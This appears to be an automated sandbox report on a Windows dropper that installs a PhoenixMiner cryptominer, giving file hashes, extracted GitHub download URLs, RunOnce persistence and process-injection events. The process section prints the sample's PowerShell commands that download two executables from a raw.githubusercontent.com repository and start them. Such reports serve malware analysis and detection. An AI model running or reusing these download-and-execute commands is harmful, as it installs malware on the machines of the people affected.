Analysis
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max time kernel
44s -
max time network
105s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
14-08-2022 23:44
Static task
static1
Behavioral task
behavioral1
Sample
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Resource
win10v2004-20220812-en
General
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Target
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
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Size
8.3MB
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MD5
9ed9ad87a1564fbb5e1b652b3e7148c8
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SHA1
0c001b7e9615cbc22eac2a324d8deb7eaf069ff7
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SHA256
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89
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SHA512
e49e403a73ff1d10111d23cc70ae95ffae63abbc4a52cfc52c447ee9f15e76ab44f07d0f41e3b3e63a73a07e7748b8ac7ed8c997f1051a10ca5fad1dace4183a
Malware Config
Extracted
https://raw.githubusercontent.com/jkh36/d/main/bild.exe
https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe
Signatures
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Executes dropped EXE 1 IoCs
Processes:
PhoenixMiner.exepid process 1272 PhoenixMiner.exe -
Loads dropped DLL 4 IoCs
Processes:
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exepid process 1808 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe 1808 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe 1808 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe 1808 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
PhoenixMiner.exedescription ioc process Key created \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce PhoenixMiner.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" PhoenixMiner.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 968 powershell.exe 1072 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 968 powershell.exe Token: SeDebugPrivilege 1072 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exePhoenixMiner.exedescription pid process target process PID 1808 wrote to memory of 1272 1808 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 1808 wrote to memory of 1272 1808 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 1808 wrote to memory of 1272 1808 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 1808 wrote to memory of 1272 1808 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 1272 wrote to memory of 968 1272 PhoenixMiner.exe powershell.exe PID 1272 wrote to memory of 968 1272 PhoenixMiner.exe powershell.exe PID 1272 wrote to memory of 968 1272 PhoenixMiner.exe powershell.exe PID 1272 wrote to memory of 968 1272 PhoenixMiner.exe powershell.exe PID 1272 wrote to memory of 1072 1272 PhoenixMiner.exe powershell.exe PID 1272 wrote to memory of 1072 1272 PhoenixMiner.exe powershell.exe PID 1272 wrote to memory of 1072 1272 PhoenixMiner.exe powershell.exe PID 1272 wrote to memory of 1072 1272 PhoenixMiner.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/jkh36/d/main/bild.exe,https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe -Destination lWr.exe,ck.exe;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command Start-Process lWr.exe; Start-Process ck.exe;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exeFilesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD5fd64efa53464a0cfae7c618ef5d76f3e
SHA1447f27df3daaa5ac15e4865b2887118e5f8f6c8d
SHA2560a814088b01729c073d0435e7cb8a4cd18c3fa526c9fc111d9a69ba83c2ea06a
SHA5129f5023975bb7ff5b2df0bab9818cca823e74befdd0ffe27d0c9058b2d5578f0a42bdf904e7fd44e4e39b4728a21b1ad79c03f7cb5be704105e10aaef123c0234
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\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exeFilesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17
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\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exeFilesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17
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\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exeFilesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17
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\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exeFilesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17
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memory/968-61-0x0000000000000000-mapping.dmp
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memory/968-63-0x00000000743E0000-0x000000007498B000-memory.dmpFilesize
5.7MB
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memory/968-64-0x00000000743E0000-0x000000007498B000-memory.dmpFilesize
5.7MB
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memory/1072-65-0x0000000000000000-mapping.dmp
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memory/1072-68-0x00000000739F0000-0x0000000073F9B000-memory.dmpFilesize
5.7MB
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memory/1272-59-0x0000000000000000-mapping.dmp
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memory/1808-54-0x0000000076801000-0x0000000076803000-memory.dmpFilesize
8KB